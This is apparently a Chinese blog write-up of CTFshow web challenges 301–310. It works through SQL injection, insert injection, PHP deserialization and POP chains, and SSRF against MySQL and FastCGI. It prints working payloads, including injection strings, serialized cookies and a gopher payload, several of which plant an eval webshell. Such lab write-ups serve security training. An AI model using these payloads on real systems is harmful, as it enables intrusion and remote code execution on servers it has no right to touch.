#|CTFshow刷题日记-WEB-代码审计(web301-310)SQL注入、SSRF打MySQL、SSRF打FastCGI、SSRF文件读取
web301-SQL注入
下载源码,在checklogin.php页面存在SQL注入
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;
";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){ $_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){ $_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");
【#|CTFshow刷题日记-WEB-代码审计(web301-310)SQL注入、SSRF打MySQL、SSRF打FastCGI、SSRF文件读取】由于只是进行了比较并没有回显,普通的SQL注入无法使用
方法一:构造临时用户
mysql的特性, 在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户,可以使用这个账户登录
在本地环境测试下
users表内存在以下字段与值
文章图片
如果查询两个字段会出现下面的结果,生成一个假的用户
文章图片
当只查询一个字段时,通过在username处插入SQL查询语句改变查询结果
1' union select 1# ';
文章图片
文章图片
输入密码1即可登录后台获取flag
文章图片
方法二:写入shell
既然是没有回显,也可以用写shell的方法
SQL注入写入文件前提推荐阅读
- 对目录有写入权限
- 知道绝对路径
userid=a' union select "" into outfile "/var/www/html/shell.php"%23&userpwd=1
文章图片
方法三:sqlmap
bool盲注方法
python .\sqlmap.py -u "http://fddf2115-423b-4701-b77b-8ef5f2194ee7.challenge.ctf.show:8080/" --form --batch --dump# 参数
--batch 批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值
--forms 在目标URL上解析和测试表单
--dump 查询指定范围的全部数据
web302-SQL注入
与上题不同之处在于
checklogin.php,userpwd添加了一个sds_decode函数
if(!strcasecmp(sds_decode($userpwd),$row['sds_password']))
# 先了解strcasecmp() 函数
比较两个字符串(不区分大小写)
该函数返回:
0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2
这个函数在fun.php
方法一:联合查询
既然可以修改SQL语句执行后的结果,只要让SQL查询出的结果和输入password经过sds_decode函数后的值一致就行,比如就让password=1
# string(32) "d9c77c4e454869d5d8da3b4be79694d3"
构造sql语句
1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#
password为1
文章图片
方法二:写shell
因为这个判断是在SQL语句执行之后,所以对写入shell是没有影响的
抓包修改而不是在用户框直接传入,因为浏览器会默认进行url编码导致SQL语句无法执行
文章图片
文章图片
web303-insert注入
checklogin.php,username长度限制在6以内
if(strlen($username)>6){ die();
}
新添加了两个页面,dpt.php,dptadd.php
因为限制了SQL注入语句的的长度之前的方法就没法使用了,但是新增了功能且dptadd.php代码注释中给了提示
//sql注入点
,但是需要带session访问页面,所以现在首先就需要登录账户,fun.php也给出了提示,猜测账密就是admin,成功登录文章图片
# dptadd.php中传入参数没有过滤,存在insert注入
$sql="insert into sds_dpt set
sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';
";
$result=$mysqli->query($sql);
echo $sql;
无过滤insert注入
查表名
dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
查字段
dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g');
#
查值
dpt_name=1',sds_address=(select flag from sds_fl9g)#
文章图片
web304-insert注入绕过
提示:增加了全局过滤
function sds_waf($str){ return preg_match('/[0-9]|[a-z]|-/i', $str);
}
给的源码中没找到waf,网页测试中也没过滤,只是将数据库名改为了sds_flaag
web305-反序列化写入文件
添加了waf,在fun.php
function sds_waf($str){ if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;
|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){return false;
}else{return true;
}
}
dptadd.php所有的参数都被过滤函数包裹,SQL注入无望
在class.php发现文件写入
class user{ public $username;
public $password;
public function __construct($u,$p){$this->username=$u;
$this->password=$p;
}
public function __destruct(){file_put_contents($this->username, $this->password);
}
}
在checklogin.php存在反序列化
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){ $user = unserialize($user_cookie);
}
构造poc
username=$u;
$this->password=$p;
}
}
var_dump(urlencode(serialize(new user('a.php',''))));
//get可能会出现yijian连不上的情况
?># O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22a.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D
文章图片
可以用蚁剑去连接shell,发现flag并没有在文件中,根据蚁剑远程连接的conn.php文件中的账号密码root:root连接数据库
蚁剑中对要进行管理的Shell,单击鼠标右键,在菜单中选择「数据操作」,添加配置
文章图片
文章图片
文章图片
web306-pop反序列化
在class.php在存在文件写入(file_put_contents)函数,寻找调用链
class log{ public $title='log.txt';
public $info='';
public function loginfo($info){$this->info=$this->info.$info;
}
public function close(){file_put_contents($this->title, $this->info);
}
}
在dao.php可以调用close函数,而且在
__destruct()
方法内文章图片
在index.php文件中又包含了dao.php,并且存在反序列化函数
构造payload
conn=new log();
}
}
class log{ public $title='a.php';
public $info='';
}
$a=new dao();
echo base64_encode(serialize($a));
# TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiJhLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319
在浏览器中添加cookie:user,访问index.php,即可生成一句话木马,cat flag.php即可拿到flag
web307-pop反序列化
mvc框架,上题的close函数已经变为closelog,而且只出现了一次无法调用,但是dao.php存在一个clearCache函数,执行了命令,并且cache_dir是可控的
public functionclearCache(){shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
clearCache在service.php被调用
class service{......
public function clearCache(){$this->dao->clearCache();
}
}
logout.php包含了service.php并且调用了clearCache函数
......
require 'service/service.php';
unset($_SESSION['login']);
unset($_SESSION['error']);
setcookie('user','',0,'/');
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){ $service->clearCache();
}
......
service是通过dao类调用的clearCache,logout.php require了service.php,而service.php又require了/dao/dao.php,所以不需要用到service类也可以直接通过dao类调用clearCache
构造payload
" >a.php;
';
//linux的shell里面$有特殊意义所以转义一下。
} class dao{ private $config;
public function __construct(){$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
#
TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDI6IjtlY2hvICAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTs/PiIgPmEucGhwOyI7fX0=
在浏览器添加cookie:service值就是payload生成的base64值,访问controller/logout.php,生成shell
文章图片
访问shell,执行命令
文章图片
web308-SSRF打mysql
提示:需要拿shell
增加了过滤,cache_dir只能是字母
public functionclearCache(){if(preg_match('/^[a-z]+$/i', $this->config->cache_dir)){shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
}
fun.php存在checkUpdate函数,也就是存在ssrf
function checkUpdate($url){$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
并且dao.php调用了checkUpdate函数
public function checkVersion(){return checkUpdate($this->config->update_url);
}
config中的update_url也是可控的,跟上题一样,logout.php require了service.php,而service.php又require了/dao/dao.php,所以不需要用到service类也可以直接通过dao类调用checkVersion
因为提示了需要拿shell,环境中存在mysql,还有一个明显的特征就是MySQL没有密码,可以通过是SSRF打MySQL
# service/dao/config/config.php
class config{ private $mysql_username='root';
private $mysql_password='';
通过gopherus生成poc
文章图片
构造序列化payload
config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
# TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3Nzg6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNGIlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNDAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMjclNjMlNmQlNjQlMjclNWQlMjklM2IlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjclMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlMzIlMmUlNzAlNjglNzAlMjclM2IlMDElMDAlMDAlMDAlMDEiO319
在浏览器添加cookie:service值就是payload生成的base64值,访问controller/logout.php,生成shell
文章图片
cat这个文件就行了
web309-SSRF打FastCGI
提示:需要拿shell,308的方法不行了,mysql 有密码了
对比了源码是一模一样的,SSRF还有可能的就是打Redis(端口6379)和FastCGI(端口9000)
探测是通过gopher协议的延迟判断的通过http或其他协议去探测内网,如果ip存活则短延迟(不管端口开没开),如果ip不存在则长延迟
gopher://127.0.0.1:9000
摘自羽师傅博客
问题出现在了FastCGI,具体可见
FastCGI协议
在静态网站中,WEB 容器如 Apache、Nginx 相当于内容分发员的角色, 根据用户请求的页面从网站根目录中返回给用户;而在动态网站中,WEB 容器例如 Apache 会根据用户的请求进行简单处理后交给 php 解释器;当 Apache 收到用户对 index.php 的请求后,如果使用的是 CGI,会启动对应的 CGI 程序,对应在这里就是 PHP 的解析器。接下来 PHP 解析器会解析 php.ini 文件,初始化执行环境,然后处理请求,再以规定 CGI 规定的格式返回处理后的结果,退出进程,Web server 再把结果返回给浏览器。这就是一个完整的动态 PHP Web 访问流程php-fpm
这里说的是使用 CGI,而 FastCGI 就相当于高性能的 CGI,与 CGI 不同的是它像一个常驻的 CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次, 所以这里引出下面这句概念,FastCGI 是语言无关的、可伸缩架构的 CGI 开放扩展,其主要行为是将 CGI 解释器进程保持在内存中,并因此获得较高的性能
FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的漏洞原理
也就是说php-fpm是FastCGI的一个具体实现,并且提供了进程管理的功能,在其中的进程中,包含了master和worker进程,这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器进行通信,接收 HTTP 请求,再将请求转发给 worker 进程进行处理,**worker 进程主要负责动态执行 PHP 代码,**处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端
假设在配置fpm时,将监听的地址设为了0.0.0.0:9000,那么就会产生php-fpm未授权访问漏洞,此时攻击者可以无需利用SSRF从服务器本地访问的特性,直接与服务器9000端口上的php-fpm进行通信,进而可以用fcgi_exp等工具去攻击服务器上的php-fpm实现任意代码执行利用工具生成payload
文章图片
构造poc
config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
因为在index.php中同样调用了checkVersion,并且将结果输出,所以可以回显
文章图片
web310-文件读取
源码没有修改,也cat不到flag,用find命令找flag,发现在/var/flag,但是无法直接读取,尝试用file伪协议去读取配置文件nginx.conf
config=new config();
}
}
echo base64_encode(serialize(new dao()));
# TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czoyODoiZmlsZTovLy9ldGMvbmdpbngvbmdpbnguY29uZiI7fX0=
文章图片
server {
listen4476;
server_namelocalhost;
root/var/flag;
index index.html;
}# 每一个http块都可以包含多个server块,而每个server块就相当于一台虚拟主机,它内部可有多台主机联合提供服务,一起对外提供在逻辑上关系密切的一组服务
访问4476端口
config=new config();
}
}echo base64_encode(serialize(new dao()));
# TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czoyMToiaHR0cDovLzEyNy4wLjAuMTo0NDc2Ijt9fQ==
文章图片
参考链接
羽师傅YYDS
https://blog.csdn.net/miuzzx/article/details/111352849
https://blog.csdn.net/rfrder/article/details/113924013
推荐阅读
- 2018年11月19日|2018年11月19日 星期一 亲子日记第144篇
- 2019年12月24日
- 2019.4.18感恩日记
- 亲子日记第186篇,2018、7、26、星期四、晴
- 2019.4.2咖啡冥想日记
- 亲子日记(287)2019.4.27.
- 布格日记——天赋
- 亲子日记第十二天
- 感恩日记第111篇2020.02.06
- 2018年8月25日|2018年8月25日 星期六 晴 亲子日记第259篇